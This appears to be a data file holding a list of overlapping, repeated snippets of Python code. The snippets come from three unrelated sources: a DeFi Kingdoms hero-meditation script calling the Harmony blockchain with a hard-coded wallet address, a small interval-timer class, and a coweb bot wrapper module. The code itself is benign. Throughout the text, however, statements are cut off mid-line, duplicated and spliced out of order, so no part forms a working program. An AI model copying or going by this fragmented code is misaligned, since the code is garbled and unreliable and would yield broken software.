"hero_meditation = meditation.get_hero_meditation(hero_id, rpc_server) logger.info(\"Pending meditation \"+str(hero_meditation)) time.sleep(5) meditation.complete_meditation(hero_id, private_key,",
"\" + rpc_server) private_key = None # set private key",
"meditation.start_meditation(1, meditation.stat2id('strength'), meditation.stat2id('endurance'), meditation.stat2id('luck'), meditation.ZERO_ADDRESS, private_key, w3.eth.getTransactionCount(account_address), gas_price_gwei, tx_timeout_seconds, rpc_server,",
"= meditation.get_active_meditations(account_address, rpc_server) logger.info(\"Pending meditation on address \" + str(account_address)",
"== \"__main__\": log_format = '%(asctime)s|%(name)s|%(levelname)s: %(message)s' logger = logging.getLogger(\"DFK-meditation\") logger.setLevel(logging.DEBUG)",
"import Web3 import sys import time import meditation.meditation as meditation",
"+ \": \"+str(active_meditations)) level = 1 hero_id = 1 required_runes",
"key account_address = '0x2E7669F61eA77F02445A015FBdcFe2DE47083E02' gas_price_gwei = 10 tx_timeout_seconds = 30",
"import time import meditation.meditation as meditation if __name__ == \"__main__\":",
"meditation.ZERO_ADDRESS, private_key, w3.eth.getTransactionCount(account_address), gas_price_gwei, tx_timeout_seconds, rpc_server, logger) hero_meditation = meditation.get_hero_meditation(hero_id,",
"= meditation.get_hero_meditation(hero_id, rpc_server) logger.info(\"Pending meditation \"+str(hero_meditation)) time.sleep(5) meditation.complete_meditation(hero_id, private_key, w3.eth.getTransactionCount(account_address),",
"meditation.get_active_meditations(account_address, rpc_server) logger.info(\"Pending meditation on address \" + str(account_address) +",
"active_meditations = meditation.get_active_meditations(account_address, rpc_server) logger.info(\"Pending meditation on address \" +",
"'%(asctime)s|%(name)s|%(levelname)s: %(message)s' logger = logging.getLogger(\"DFK-meditation\") logger.setLevel(logging.DEBUG) logging.basicConfig(level=logging.INFO, format=log_format, stream=sys.stdout) rpc_server",
"\"__main__\": log_format = '%(asctime)s|%(name)s|%(levelname)s: %(message)s' logger = logging.getLogger(\"DFK-meditation\") logger.setLevel(logging.DEBUG) logging.basicConfig(level=logging.INFO,",
"= None # set private key account_address = '0x2E7669F61eA77F02445A015FBdcFe2DE47083E02' gas_price_gwei",
"format=log_format, stream=sys.stdout) rpc_server = 'https://api.harmony.one' logger.info(\"Using RPC server \" +",
"meditation.get_hero_meditation(hero_id, rpc_server) logger.info(\"Pending meditation \"+str(hero_meditation)) time.sleep(5) meditation.complete_meditation(hero_id, private_key, w3.eth.getTransactionCount(account_address), gas_price_gwei,",
"'https://api.harmony.one' logger.info(\"Using RPC server \" + rpc_server) private_key = None",
"logger) hero_meditation = meditation.get_hero_meditation(hero_id, rpc_server) logger.info(\"Pending meditation \"+str(hero_meditation)) time.sleep(5) meditation.complete_meditation(hero_id,",
"'0x2E7669F61eA77F02445A015FBdcFe2DE47083E02' gas_price_gwei = 10 tx_timeout_seconds = 30 w3 = Web3(Web3.HTTPProvider(rpc_server))",
"logger.info(\"Pending meditation on address \" + str(account_address) + \": \"+str(active_meditations))",
"= 1 required_runes = meditation.get_required_runes(level, rpc_server) meditation.start_meditation(1, meditation.stat2id('strength'), meditation.stat2id('endurance'), meditation.stat2id('luck'),",
"from web3 import Web3 import sys import time import meditation.meditation",
"import logging from web3 import Web3 import sys import time",
"meditation.meditation as meditation if __name__ == \"__main__\": log_format = '%(asctime)s|%(name)s|%(levelname)s:",
"logging.basicConfig(level=logging.INFO, format=log_format, stream=sys.stdout) rpc_server = 'https://api.harmony.one' logger.info(\"Using RPC server \"",
"= meditation.get_required_runes(level, rpc_server) meditation.start_meditation(1, meditation.stat2id('strength'), meditation.stat2id('endurance'), meditation.stat2id('luck'), meditation.ZERO_ADDRESS, private_key, w3.eth.getTransactionCount(account_address),",
"log_format = '%(asctime)s|%(name)s|%(levelname)s: %(message)s' logger = logging.getLogger(\"DFK-meditation\") logger.setLevel(logging.DEBUG) logging.basicConfig(level=logging.INFO, format=log_format,",
"+ rpc_server) private_key = None # set private key account_address",
"on address \" + str(account_address) + \": \"+str(active_meditations)) level =",
"meditation if __name__ == \"__main__\": log_format = '%(asctime)s|%(name)s|%(levelname)s: %(message)s' logger",
"sys import time import meditation.meditation as meditation if __name__ ==",
"as meditation if __name__ == \"__main__\": log_format = '%(asctime)s|%(name)s|%(levelname)s: %(message)s'",
"private_key, w3.eth.getTransactionCount(account_address), gas_price_gwei, tx_timeout_seconds, rpc_server, logger) hero_meditation = meditation.get_hero_meditation(hero_id, rpc_server)",
"set private key account_address = '0x2E7669F61eA77F02445A015FBdcFe2DE47083E02' gas_price_gwei = 10 tx_timeout_seconds",
"\": \"+str(active_meditations)) level = 1 hero_id = 1 required_runes =",
"import sys import time import meditation.meditation as meditation if __name__",
"= Web3(Web3.HTTPProvider(rpc_server)) active_meditations = meditation.get_active_meditations(account_address, rpc_server) logger.info(\"Pending meditation on address",
"meditation.stat2id('strength'), meditation.stat2id('endurance'), meditation.stat2id('luck'), meditation.ZERO_ADDRESS, private_key, w3.eth.getTransactionCount(account_address), gas_price_gwei, tx_timeout_seconds, rpc_server, logger)",
"__name__ == \"__main__\": log_format = '%(asctime)s|%(name)s|%(levelname)s: %(message)s' logger = logging.getLogger(\"DFK-meditation\")",
"Web3(Web3.HTTPProvider(rpc_server)) active_meditations = meditation.get_active_meditations(account_address, rpc_server) logger.info(\"Pending meditation on address \"",
"web3 import Web3 import sys import time import meditation.meditation as",
"private key account_address = '0x2E7669F61eA77F02445A015FBdcFe2DE47083E02' gas_price_gwei = 10 tx_timeout_seconds =",
"logging.getLogger(\"DFK-meditation\") logger.setLevel(logging.DEBUG) logging.basicConfig(level=logging.INFO, format=log_format, stream=sys.stdout) rpc_server = 'https://api.harmony.one' logger.info(\"Using RPC",
"meditation.get_required_runes(level, rpc_server) meditation.start_meditation(1, meditation.stat2id('strength'), meditation.stat2id('endurance'), meditation.stat2id('luck'), meditation.ZERO_ADDRESS, private_key, w3.eth.getTransactionCount(account_address), gas_price_gwei,",
"meditation \"+str(hero_meditation)) time.sleep(5) meditation.complete_meditation(hero_id, private_key, w3.eth.getTransactionCount(account_address), gas_price_gwei, tx_timeout_seconds, rpc_server, logger)",
"1 required_runes = meditation.get_required_runes(level, rpc_server) meditation.start_meditation(1, meditation.stat2id('strength'), meditation.stat2id('endurance'), meditation.stat2id('luck'), meditation.ZERO_ADDRESS,",
"10 tx_timeout_seconds = 30 w3 = Web3(Web3.HTTPProvider(rpc_server)) active_meditations = meditation.get_active_meditations(account_address,",
"level = 1 hero_id = 1 required_runes = meditation.get_required_runes(level, rpc_server)",
"\" + str(account_address) + \": \"+str(active_meditations)) level = 1 hero_id",
"None # set private key account_address = '0x2E7669F61eA77F02445A015FBdcFe2DE47083E02' gas_price_gwei =",
"Web3 import sys import time import meditation.meditation as meditation if",
"30 w3 = Web3(Web3.HTTPProvider(rpc_server)) active_meditations = meditation.get_active_meditations(account_address, rpc_server) logger.info(\"Pending meditation",
"w3 = Web3(Web3.HTTPProvider(rpc_server)) active_meditations = meditation.get_active_meditations(account_address, rpc_server) logger.info(\"Pending meditation on",
"logger.info(\"Pending meditation \"+str(hero_meditation)) time.sleep(5) meditation.complete_meditation(hero_id, private_key, w3.eth.getTransactionCount(account_address), gas_price_gwei, tx_timeout_seconds, rpc_server,",
"gas_price_gwei = 10 tx_timeout_seconds = 30 w3 = Web3(Web3.HTTPProvider(rpc_server)) active_meditations",
"= 'https://api.harmony.one' logger.info(\"Using RPC server \" + rpc_server) private_key =",
"= '0x2E7669F61eA77F02445A015FBdcFe2DE47083E02' gas_price_gwei = 10 tx_timeout_seconds = 30 w3 =",
"required_runes = meditation.get_required_runes(level, rpc_server) meditation.start_meditation(1, meditation.stat2id('strength'), meditation.stat2id('endurance'), meditation.stat2id('luck'), meditation.ZERO_ADDRESS, private_key,",
"rpc_server) logger.info(\"Pending meditation on address \" + str(account_address) + \":",
"address \" + str(account_address) + \": \"+str(active_meditations)) level = 1",
"gas_price_gwei, tx_timeout_seconds, rpc_server, logger) hero_meditation = meditation.get_hero_meditation(hero_id, rpc_server) logger.info(\"Pending meditation",
"hero_id = 1 required_runes = meditation.get_required_runes(level, rpc_server) meditation.start_meditation(1, meditation.stat2id('strength'), meditation.stat2id('endurance'),",
"= '%(asctime)s|%(name)s|%(levelname)s: %(message)s' logger = logging.getLogger(\"DFK-meditation\") logger.setLevel(logging.DEBUG) logging.basicConfig(level=logging.INFO, format=log_format, stream=sys.stdout)",
"logger.setLevel(logging.DEBUG) logging.basicConfig(level=logging.INFO, format=log_format, stream=sys.stdout) rpc_server = 'https://api.harmony.one' logger.info(\"Using RPC server",
"meditation.stat2id('luck'), meditation.ZERO_ADDRESS, private_key, w3.eth.getTransactionCount(account_address), gas_price_gwei, tx_timeout_seconds, rpc_server, logger) hero_meditation =",
"server \" + rpc_server) private_key = None # set private",
"logger = logging.getLogger(\"DFK-meditation\") logger.setLevel(logging.DEBUG) logging.basicConfig(level=logging.INFO, format=log_format, stream=sys.stdout) rpc_server = 'https://api.harmony.one'",
"logger.info(\"Using RPC server \" + rpc_server) private_key = None #",
"rpc_server, logger) hero_meditation = meditation.get_hero_meditation(hero_id, rpc_server) logger.info(\"Pending meditation \"+str(hero_meditation)) time.sleep(5)",
"= 1 hero_id = 1 required_runes = meditation.get_required_runes(level, rpc_server) meditation.start_meditation(1,",
"stream=sys.stdout) rpc_server = 'https://api.harmony.one' logger.info(\"Using RPC server \" + rpc_server)",
"= 30 w3 = Web3(Web3.HTTPProvider(rpc_server)) active_meditations = meditation.get_active_meditations(account_address, rpc_server) logger.info(\"Pending",
"if __name__ == \"__main__\": log_format = '%(asctime)s|%(name)s|%(levelname)s: %(message)s' logger =",
"str(account_address) + \": \"+str(active_meditations)) level = 1 hero_id = 1",
"tx_timeout_seconds, rpc_server, logger) hero_meditation = meditation.get_hero_meditation(hero_id, rpc_server) logger.info(\"Pending meditation \"+str(hero_meditation))",
"tx_timeout_seconds = 30 w3 = Web3(Web3.HTTPProvider(rpc_server)) active_meditations = meditation.get_active_meditations(account_address, rpc_server)",
"rpc_server) logger.info(\"Pending meditation \"+str(hero_meditation)) time.sleep(5) meditation.complete_meditation(hero_id, private_key, w3.eth.getTransactionCount(account_address), gas_price_gwei, tx_timeout_seconds,",
"meditation on address \" + str(account_address) + \": \"+str(active_meditations)) level",
"= logging.getLogger(\"DFK-meditation\") logger.setLevel(logging.DEBUG) logging.basicConfig(level=logging.INFO, format=log_format, stream=sys.stdout) rpc_server = 'https://api.harmony.one' logger.info(\"Using",
"account_address = '0x2E7669F61eA77F02445A015FBdcFe2DE47083E02' gas_price_gwei = 10 tx_timeout_seconds = 30 w3",
"+ str(account_address) + \": \"+str(active_meditations)) level = 1 hero_id =",
"\"+str(active_meditations)) level = 1 hero_id = 1 required_runes = meditation.get_required_runes(level,",
"RPC server \" + rpc_server) private_key = None # set",
"1 hero_id = 1 required_runes = meditation.get_required_runes(level, rpc_server) meditation.start_meditation(1, meditation.stat2id('strength'),",
"meditation.stat2id('endurance'), meditation.stat2id('luck'), meditation.ZERO_ADDRESS, private_key, w3.eth.getTransactionCount(account_address), gas_price_gwei, tx_timeout_seconds, rpc_server, logger) hero_meditation",
"rpc_server) meditation.start_meditation(1, meditation.stat2id('strength'), meditation.stat2id('endurance'), meditation.stat2id('luck'), meditation.ZERO_ADDRESS, private_key, w3.eth.getTransactionCount(account_address), gas_price_gwei, tx_timeout_seconds,",
"logging from web3 import Web3 import sys import time import",
"time import meditation.meditation as meditation if __name__ == \"__main__\": log_format",
"rpc_server = 'https://api.harmony.one' logger.info(\"Using RPC server \" + rpc_server) private_key",
"# set private key account_address = '0x2E7669F61eA77F02445A015FBdcFe2DE47083E02' gas_price_gwei = 10",
"= 10 tx_timeout_seconds = 30 w3 = Web3(Web3.HTTPProvider(rpc_server)) active_meditations =",
"import meditation.meditation as meditation if __name__ == \"__main__\": log_format =",
"rpc_server) private_key = None # set private key account_address ="
] |
[
"timestamp def start(self) -> int: self.current_time = Interval.now() return self.current_time",
"= 0 @staticmethod def now(): return time.gmtime().tm_sec def should_run(self) ->",
"Interval(object): def __init__(self, delay_time: int): self.delay_time = delay_time self.current_time =",
"True return self.is_done() def is_done(self) -> bool: timestamp = Interval.now()",
"return self.is_done() def is_done(self) -> bool: timestamp = Interval.now() return",
"self.is_done() def is_done(self) -> bool: timestamp = Interval.now() return self.current_time",
"timestamp = Interval.now() return self.current_time + self.delay_time < timestamp or",
"\\ self.current_time > timestamp def start(self) -> int: self.current_time =",
"Interval.now() return True return self.is_done() def is_done(self) -> bool: timestamp",
"> timestamp def start(self) -> int: self.current_time = Interval.now() return",
"<reponame>JohnStarich/dotfiles import time class Interval(object): def __init__(self, delay_time: int): self.delay_time",
"__init__(self, delay_time: int): self.delay_time = delay_time self.current_time = 0 @staticmethod",
"= Interval.now() return True return self.is_done() def is_done(self) -> bool:",
"is_done(self) -> bool: timestamp = Interval.now() return self.current_time + self.delay_time",
"def should_run(self) -> bool: if self.current_time == 0: self.current_time =",
"-> bool: timestamp = Interval.now() return self.current_time + self.delay_time <",
"if self.current_time == 0: self.current_time = Interval.now() return True return",
"import time class Interval(object): def __init__(self, delay_time: int): self.delay_time =",
"self.delay_time = delay_time self.current_time = 0 @staticmethod def now(): return",
"== 0: self.current_time = Interval.now() return True return self.is_done() def",
"= Interval.now() return self.current_time + self.delay_time < timestamp or \\",
"int): self.delay_time = delay_time self.current_time = 0 @staticmethod def now():",
"self.current_time + self.delay_time < timestamp or \\ self.current_time > timestamp",
"@staticmethod def now(): return time.gmtime().tm_sec def should_run(self) -> bool: if",
"bool: if self.current_time == 0: self.current_time = Interval.now() return True",
"self.current_time = 0 @staticmethod def now(): return time.gmtime().tm_sec def should_run(self)",
"timestamp or \\ self.current_time > timestamp def start(self) -> int:",
"bool: timestamp = Interval.now() return self.current_time + self.delay_time < timestamp",
"def __init__(self, delay_time: int): self.delay_time = delay_time self.current_time = 0",
"should_run(self) -> bool: if self.current_time == 0: self.current_time = Interval.now()",
"0 @staticmethod def now(): return time.gmtime().tm_sec def should_run(self) -> bool:",
"or \\ self.current_time > timestamp def start(self) -> int: self.current_time",
"self.delay_time < timestamp or \\ self.current_time > timestamp def start(self)",
"self.current_time > timestamp def start(self) -> int: self.current_time = Interval.now()",
"class Interval(object): def __init__(self, delay_time: int): self.delay_time = delay_time self.current_time",
"0: self.current_time = Interval.now() return True return self.is_done() def is_done(self)",
"delay_time self.current_time = 0 @staticmethod def now(): return time.gmtime().tm_sec def",
"return time.gmtime().tm_sec def should_run(self) -> bool: if self.current_time == 0:",
"+ self.delay_time < timestamp or \\ self.current_time > timestamp def",
"-> bool: if self.current_time == 0: self.current_time = Interval.now() return",
"self.current_time = Interval.now() return True return self.is_done() def is_done(self) ->",
"< timestamp or \\ self.current_time > timestamp def start(self) ->",
"= delay_time self.current_time = 0 @staticmethod def now(): return time.gmtime().tm_sec",
"def now(): return time.gmtime().tm_sec def should_run(self) -> bool: if self.current_time",
"Interval.now() return self.current_time + self.delay_time < timestamp or \\ self.current_time",
"time class Interval(object): def __init__(self, delay_time: int): self.delay_time = delay_time",
"return True return self.is_done() def is_done(self) -> bool: timestamp =",
"delay_time: int): self.delay_time = delay_time self.current_time = 0 @staticmethod def",
"now(): return time.gmtime().tm_sec def should_run(self) -> bool: if self.current_time ==",
"time.gmtime().tm_sec def should_run(self) -> bool: if self.current_time == 0: self.current_time",
"return self.current_time + self.delay_time < timestamp or \\ self.current_time >",
"self.current_time == 0: self.current_time = Interval.now() return True return self.is_done()",
"def is_done(self) -> bool: timestamp = Interval.now() return self.current_time +"
] |
[
"timer that schedules a main loop callback.''' f = functools.partial(callback,",
"serviceToken, appData): self.serviceName = serviceName self.appData = appData self._serviceToken =",
"Reserved. Copyright (c) IBM Corporation 2008, 2011. All Rights Reserved.",
"std lib import logging import time import weakref import functools",
"bot subchannel.''' self._manager.on_bot_publish(self.serviceName, data) def add_callback(self, callback, *args, **kwargs): '''Schedule",
"= serviceName self.appData = appData self._serviceToken = serviceToken self._manager =",
"manager so we can catch exceptions, else exception # fires",
"tornado.ioloop # std lib import logging import time import weakref",
"appData self._serviceToken = serviceToken self._manager = weakref.proxy(manager) self._bot = botClass(self,",
"manager to bot impl.''' try: mtd = getattr(self._bot, mtdName) except",
"self.serviceName = serviceName self.appData = appData self._serviceToken = serviceToken self._manager",
"a client error try: mtd(*args) except Exception: log.exception('bot error') def",
"self._ioLoop = tornado.ioloop.IOLoop.instance() # asynchronously inform local manager we're ready",
"delay, f) def remove_timer(self, timer): '''Remove a one-shot timer.''' self._ioLoop.remove_timeout(timer)",
"# tornado import tornado.ioloop # std lib import logging import",
"**kwargs): '''Add a one-shot timer that schedules a main loop",
"callback.''' f = functools.partial(callback, *args, **kwargs) return self._ioLoop.add_timeout(time.time() + delay,",
"All Rights Reserved. ''' # tornado import tornado.ioloop # std",
"def reply(self, replyToken, data): '''Sends a private reply to a",
"catch exceptions, else exception # fires in context of original",
"serviceName, serviceToken, appData): self.serviceName = serviceName self.appData = appData self._serviceToken",
"import functools # coweb from .base import BotWrapperBase log =",
"= weakref.proxy(manager) self._bot = botClass(self, serviceName, appData) self._ioLoop = tornado.ioloop.IOLoop.instance()",
"def publish(self, data): '''Sends a public reply to subscribes on",
"callback, *args, **kwargs): '''Add a one-shot timer that schedules a",
"on_message(self, mtdName, *args): '''Proxy messages from manager to bot impl.'''",
"with manager so we can catch exceptions, else exception #",
"ObjectBotWrapper(BotWrapperBase): def __init__(self, manager, botClass, serviceName, serviceToken, appData): self.serviceName =",
"error try: mtd(*args) except Exception: log.exception('bot error') def reply(self, replyToken,",
"except AttributeError: # bot isn't listening for this message type",
"a private reply to a requestor.''' self._manager.on_bot_response(self.serviceName, replyToken, data) def",
"loop.''' f = functools.partial(callback, *args, **kwargs) self._ioLoop.add_callback(f) def add_timer(self, delay,",
"original request which is wrong, it's a bot # error",
"functools.partial(callback, *args, **kwargs) return self._ioLoop.add_timeout(time.time() + delay, f) def remove_timer(self,",
"self._bot = botClass(self, serviceName, appData) self._ioLoop = tornado.ioloop.IOLoop.instance() # asynchronously",
"appData) self._ioLoop = tornado.ioloop.IOLoop.instance() # asynchronously inform local manager we're",
"import BotWrapperBase log = logging.getLogger('coweb.bot') class ObjectBotWrapper(BotWrapperBase): def __init__(self, manager,",
"impl.''' try: mtd = getattr(self._bot, mtdName) except AttributeError: # bot",
"getattr(self._bot, mtdName) except AttributeError: # bot isn't listening for this",
"try: mtd(*args) except Exception: log.exception('bot error') def reply(self, replyToken, data):",
"of original request which is wrong, it's a bot #",
"serviceToken, self) def on_message(self, mtdName, *args): '''Proxy messages from manager",
"main loop.''' f = functools.partial(callback, *args, **kwargs) self._ioLoop.add_callback(f) def add_timer(self,",
"so we can catch exceptions, else exception # fires in",
"self._serviceToken = serviceToken self._manager = weakref.proxy(manager) self._bot = botClass(self, serviceName,",
"reply to subscribes on a bot subchannel.''' self._manager.on_bot_publish(self.serviceName, data) def",
"sync with manager so we can catch exceptions, else exception",
"that schedules a main loop callback.''' f = functools.partial(callback, *args,",
"'''Proxy messages from manager to bot impl.''' try: mtd =",
"def add_timer(self, delay, callback, *args, **kwargs): '''Add a one-shot timer",
"exception # fires in context of original request which is",
"log.exception('bot error') def reply(self, replyToken, data): '''Sends a private reply",
"one-shot timer that schedules a main loop callback.''' f =",
"subchannel.''' self._manager.on_bot_publish(self.serviceName, data) def add_callback(self, callback, *args, **kwargs): '''Schedule a",
"self._manager.on_bot_publish(self.serviceName, data) def add_callback(self, callback, *args, **kwargs): '''Schedule a callback",
"is wrong, it's a bot # error not a client",
"# asynchronously inform local manager we're ready self.add_callback(self._manager.on_bot_ready, serviceName, serviceToken,",
"mtd(*args) except Exception: log.exception('bot error') def reply(self, replyToken, data): '''Sends",
"self._ioLoop.add_callback(f) def add_timer(self, delay, callback, *args, **kwargs): '''Add a one-shot",
"self.add_callback(self._manager.on_bot_ready, serviceName, serviceToken, self) def on_message(self, mtdName, *args): '''Proxy messages",
"reply(self, replyToken, data): '''Sends a private reply to a requestor.'''",
"message type return # keep sync with manager so we",
"a public reply to subscribes on a bot subchannel.''' self._manager.on_bot_publish(self.serviceName,",
"can catch exceptions, else exception # fires in context of",
"data) def add_callback(self, callback, *args, **kwargs): '''Schedule a callback in",
"= functools.partial(callback, *args, **kwargs) self._ioLoop.add_callback(f) def add_timer(self, delay, callback, *args,",
"we can catch exceptions, else exception # fires in context",
"self.appData = appData self._serviceToken = serviceToken self._manager = weakref.proxy(manager) self._bot",
"# keep sync with manager so we can catch exceptions,",
"= serviceToken self._manager = weakref.proxy(manager) self._bot = botClass(self, serviceName, appData)",
"tornado.ioloop.IOLoop.instance() # asynchronously inform local manager we're ready self.add_callback(self._manager.on_bot_ready, serviceName,",
"2008, 2011. All Rights Reserved. ''' # tornado import tornado.ioloop",
"Exception: log.exception('bot error') def reply(self, replyToken, data): '''Sends a private",
"(c) IBM Corporation 2008, 2011. All Rights Reserved. ''' #",
"(c) The Dojo Foundation 2011. All Rights Reserved. Copyright (c)",
"for this message type return # keep sync with manager",
"serviceToken self._manager = weakref.proxy(manager) self._bot = botClass(self, serviceName, appData) self._ioLoop",
"else exception # fires in context of original request which",
"add_timer(self, delay, callback, *args, **kwargs): '''Add a one-shot timer that",
"'''Sends a public reply to subscribes on a bot subchannel.'''",
"lib import logging import time import weakref import functools #",
"main loop callback.''' f = functools.partial(callback, *args, **kwargs) return self._ioLoop.add_timeout(time.time()",
"functools # coweb from .base import BotWrapperBase log = logging.getLogger('coweb.bot')",
"manager, botClass, serviceName, serviceToken, appData): self.serviceName = serviceName self.appData =",
"IBM Corporation 2008, 2011. All Rights Reserved. ''' # tornado",
"messages from manager to bot impl.''' try: mtd = getattr(self._bot,",
"a callback in the main loop.''' f = functools.partial(callback, *args,",
"not a client error try: mtd(*args) except Exception: log.exception('bot error')",
"coweb from .base import BotWrapperBase log = logging.getLogger('coweb.bot') class ObjectBotWrapper(BotWrapperBase):",
"''' Copyright (c) The Dojo Foundation 2011. All Rights Reserved.",
"weakref.proxy(manager) self._bot = botClass(self, serviceName, appData) self._ioLoop = tornado.ioloop.IOLoop.instance() #",
"reply to a requestor.''' self._manager.on_bot_response(self.serviceName, replyToken, data) def publish(self, data):",
"a main loop callback.''' f = functools.partial(callback, *args, **kwargs) return",
"context of original request which is wrong, it's a bot",
"tornado import tornado.ioloop # std lib import logging import time",
"subscribes on a bot subchannel.''' self._manager.on_bot_publish(self.serviceName, data) def add_callback(self, callback,",
"serviceName, serviceToken, self) def on_message(self, mtdName, *args): '''Proxy messages from",
"a one-shot timer that schedules a main loop callback.''' f",
"serviceName, appData) self._ioLoop = tornado.ioloop.IOLoop.instance() # asynchronously inform local manager",
"<filename>servers/python/coweb/bot/wrapper/object.py ''' Copyright (c) The Dojo Foundation 2011. All Rights",
"requestor.''' self._manager.on_bot_response(self.serviceName, replyToken, data) def publish(self, data): '''Sends a public",
"All Rights Reserved. Copyright (c) IBM Corporation 2008, 2011. All",
"public reply to subscribes on a bot subchannel.''' self._manager.on_bot_publish(self.serviceName, data)",
"mtd = getattr(self._bot, mtdName) except AttributeError: # bot isn't listening",
"# coweb from .base import BotWrapperBase log = logging.getLogger('coweb.bot') class",
"self._manager.on_bot_response(self.serviceName, replyToken, data) def publish(self, data): '''Sends a public reply",
"request which is wrong, it's a bot # error not",
"from .base import BotWrapperBase log = logging.getLogger('coweb.bot') class ObjectBotWrapper(BotWrapperBase): def",
"return self._ioLoop.add_timeout(time.time() + delay, f) def remove_timer(self, timer): '''Remove a",
"callback, *args, **kwargs): '''Schedule a callback in the main loop.'''",
"asynchronously inform local manager we're ready self.add_callback(self._manager.on_bot_ready, serviceName, serviceToken, self)",
"# bot isn't listening for this message type return #",
"isn't listening for this message type return # keep sync",
"callback in the main loop.''' f = functools.partial(callback, *args, **kwargs)",
"bot impl.''' try: mtd = getattr(self._bot, mtdName) except AttributeError: #",
".base import BotWrapperBase log = logging.getLogger('coweb.bot') class ObjectBotWrapper(BotWrapperBase): def __init__(self,",
"2011. All Rights Reserved. ''' # tornado import tornado.ioloop #",
"ready self.add_callback(self._manager.on_bot_ready, serviceName, serviceToken, self) def on_message(self, mtdName, *args): '''Proxy",
"except Exception: log.exception('bot error') def reply(self, replyToken, data): '''Sends a",
"**kwargs) return self._ioLoop.add_timeout(time.time() + delay, f) def remove_timer(self, timer): '''Remove",
"a requestor.''' self._manager.on_bot_response(self.serviceName, replyToken, data) def publish(self, data): '''Sends a",
"manager we're ready self.add_callback(self._manager.on_bot_ready, serviceName, serviceToken, self) def on_message(self, mtdName,",
"we're ready self.add_callback(self._manager.on_bot_ready, serviceName, serviceToken, self) def on_message(self, mtdName, *args):",
"data): '''Sends a private reply to a requestor.''' self._manager.on_bot_response(self.serviceName, replyToken,",
"keep sync with manager so we can catch exceptions, else",
"private reply to a requestor.''' self._manager.on_bot_response(self.serviceName, replyToken, data) def publish(self,",
"add_callback(self, callback, *args, **kwargs): '''Schedule a callback in the main",
"replyToken, data) def publish(self, data): '''Sends a public reply to",
"logging.getLogger('coweb.bot') class ObjectBotWrapper(BotWrapperBase): def __init__(self, manager, botClass, serviceName, serviceToken, appData):",
"self._manager = weakref.proxy(manager) self._bot = botClass(self, serviceName, appData) self._ioLoop =",
"data) def publish(self, data): '''Sends a public reply to subscribes",
"''' # tornado import tornado.ioloop # std lib import logging",
"class ObjectBotWrapper(BotWrapperBase): def __init__(self, manager, botClass, serviceName, serviceToken, appData): self.serviceName",
"def __init__(self, manager, botClass, serviceName, serviceToken, appData): self.serviceName = serviceName",
"# error not a client error try: mtd(*args) except Exception:",
"2011. All Rights Reserved. Copyright (c) IBM Corporation 2008, 2011.",
"import tornado.ioloop # std lib import logging import time import",
"mtdName, *args): '''Proxy messages from manager to bot impl.''' try:",
"BotWrapperBase log = logging.getLogger('coweb.bot') class ObjectBotWrapper(BotWrapperBase): def __init__(self, manager, botClass,",
"*args): '''Proxy messages from manager to bot impl.''' try: mtd",
"fires in context of original request which is wrong, it's",
"to subscribes on a bot subchannel.''' self._manager.on_bot_publish(self.serviceName, data) def add_callback(self,",
"The Dojo Foundation 2011. All Rights Reserved. Copyright (c) IBM",
"*args, **kwargs): '''Schedule a callback in the main loop.''' f",
"a bot # error not a client error try: mtd(*args)",
"mtdName) except AttributeError: # bot isn't listening for this message",
"weakref import functools # coweb from .base import BotWrapperBase log",
"= logging.getLogger('coweb.bot') class ObjectBotWrapper(BotWrapperBase): def __init__(self, manager, botClass, serviceName, serviceToken,",
"type return # keep sync with manager so we can",
"client error try: mtd(*args) except Exception: log.exception('bot error') def reply(self,",
"functools.partial(callback, *args, **kwargs) self._ioLoop.add_callback(f) def add_timer(self, delay, callback, *args, **kwargs):",
"= appData self._serviceToken = serviceToken self._manager = weakref.proxy(manager) self._bot =",
"Corporation 2008, 2011. All Rights Reserved. ''' # tornado import",
"botClass(self, serviceName, appData) self._ioLoop = tornado.ioloop.IOLoop.instance() # asynchronously inform local",
"try: mtd = getattr(self._bot, mtdName) except AttributeError: # bot isn't",
"f = functools.partial(callback, *args, **kwargs) return self._ioLoop.add_timeout(time.time() + delay, f)",
"it's a bot # error not a client error try:",
"the main loop.''' f = functools.partial(callback, *args, **kwargs) self._ioLoop.add_callback(f) def",
"f = functools.partial(callback, *args, **kwargs) self._ioLoop.add_callback(f) def add_timer(self, delay, callback,",
"*args, **kwargs) self._ioLoop.add_callback(f) def add_timer(self, delay, callback, *args, **kwargs): '''Add",
"to bot impl.''' try: mtd = getattr(self._bot, mtdName) except AttributeError:",
"= tornado.ioloop.IOLoop.instance() # asynchronously inform local manager we're ready self.add_callback(self._manager.on_bot_ready,",
"'''Sends a private reply to a requestor.''' self._manager.on_bot_response(self.serviceName, replyToken, data)",
"loop callback.''' f = functools.partial(callback, *args, **kwargs) return self._ioLoop.add_timeout(time.time() +",
"logging import time import weakref import functools # coweb from",
"self) def on_message(self, mtdName, *args): '''Proxy messages from manager to",
"error') def reply(self, replyToken, data): '''Sends a private reply to",
"AttributeError: # bot isn't listening for this message type return",
"Copyright (c) The Dojo Foundation 2011. All Rights Reserved. Copyright",
"listening for this message type return # keep sync with",
"publish(self, data): '''Sends a public reply to subscribes on a",
"bot isn't listening for this message type return # keep",
"self._ioLoop.add_timeout(time.time() + delay, f) def remove_timer(self, timer): '''Remove a one-shot",
"log = logging.getLogger('coweb.bot') class ObjectBotWrapper(BotWrapperBase): def __init__(self, manager, botClass, serviceName,",
"replyToken, data): '''Sends a private reply to a requestor.''' self._manager.on_bot_response(self.serviceName,",
"a bot subchannel.''' self._manager.on_bot_publish(self.serviceName, data) def add_callback(self, callback, *args, **kwargs):",
"**kwargs) self._ioLoop.add_callback(f) def add_timer(self, delay, callback, *args, **kwargs): '''Add a",
"= getattr(self._bot, mtdName) except AttributeError: # bot isn't listening for",
"this message type return # keep sync with manager so",
"exceptions, else exception # fires in context of original request",
"Copyright (c) IBM Corporation 2008, 2011. All Rights Reserved. '''",
"serviceName self.appData = appData self._serviceToken = serviceToken self._manager = weakref.proxy(manager)",
"in context of original request which is wrong, it's a",
"= functools.partial(callback, *args, **kwargs) return self._ioLoop.add_timeout(time.time() + delay, f) def",
"__init__(self, manager, botClass, serviceName, serviceToken, appData): self.serviceName = serviceName self.appData",
"which is wrong, it's a bot # error not a",
"from manager to bot impl.''' try: mtd = getattr(self._bot, mtdName)",
"**kwargs): '''Schedule a callback in the main loop.''' f =",
"Rights Reserved. Copyright (c) IBM Corporation 2008, 2011. All Rights",
"= botClass(self, serviceName, appData) self._ioLoop = tornado.ioloop.IOLoop.instance() # asynchronously inform",
"botClass, serviceName, serviceToken, appData): self.serviceName = serviceName self.appData = appData",
"import logging import time import weakref import functools # coweb",
